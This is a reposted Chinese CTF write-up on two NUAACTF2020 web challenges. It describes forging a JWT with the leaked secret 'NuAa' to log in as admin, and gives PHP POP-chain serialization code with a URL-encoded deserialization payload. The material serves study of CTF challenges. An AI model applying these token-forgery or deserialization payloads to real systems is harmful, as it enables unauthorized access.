NUAACTF2020 - Web2 & Web3

Posted Ch0bits

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NUAACTF2020 - Web2 & Web3相关的知识,希望对你有一定的参考价值。

这里就总结一下,自己没有做出来的原因:没队友交流、时间紧

Web2

比赛时抓包看cookie里面有jwt,就去google发现是jwt伪造,原题也看到了,只要能伪造好jwt,就能直接登录无需密码

卡题原因:不知道jwt的密钥,现学现卖不是强项

说实话,也没有想到要用到解密工具,因为既然不知道admin的密码,用自己注册的账号解出来的密钥不应该是自己独有的密钥吗(被没有注册时jwt为空给迷惑了)

所以说只要是注册的用户,加密密钥都是相同的\'NuAa\'

https://jwt.io/

伪造用户名admin

 

Web3

需要构造pop链,类似题目WP也看了,还真的现学现卖差一点就成功

卡题原因:没有url编码

自己构造的exp:

<?php
class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new evil();
    }
}class evil {
    private $data;
}
$a = new lemon();
echo serialize($a);
?>

题目要看flag.php,必须构造lemon类的构造函数访问evil类

其实挺遗憾的,没想到最后还要在编译器里url编码才能传参,之前一直直接输进地址栏

 

错误的序列化:

 

O:5:%22lemon%22:1:{s:11:%22%20*%20ClassObj%22;O:4:%22evil%22:1:{s:10:%22%20evil%20data%22;N;}}

鉴于之前刷的题目,这道题没法直接传参的原因大概是序列化以后存在的特殊字符,复制之后就出错了

以上是关于NUAACTF2020 - Web2 & Web3的主要内容,如果未能解决你的问题,请参考以下文章

NUAACTFpychon

ctfshow web web2

NoSQL&Redis

Redis February 3,2020

孙子中的 web2py 表示“格式”

Azure 应用服务上的 Web2py 项目部署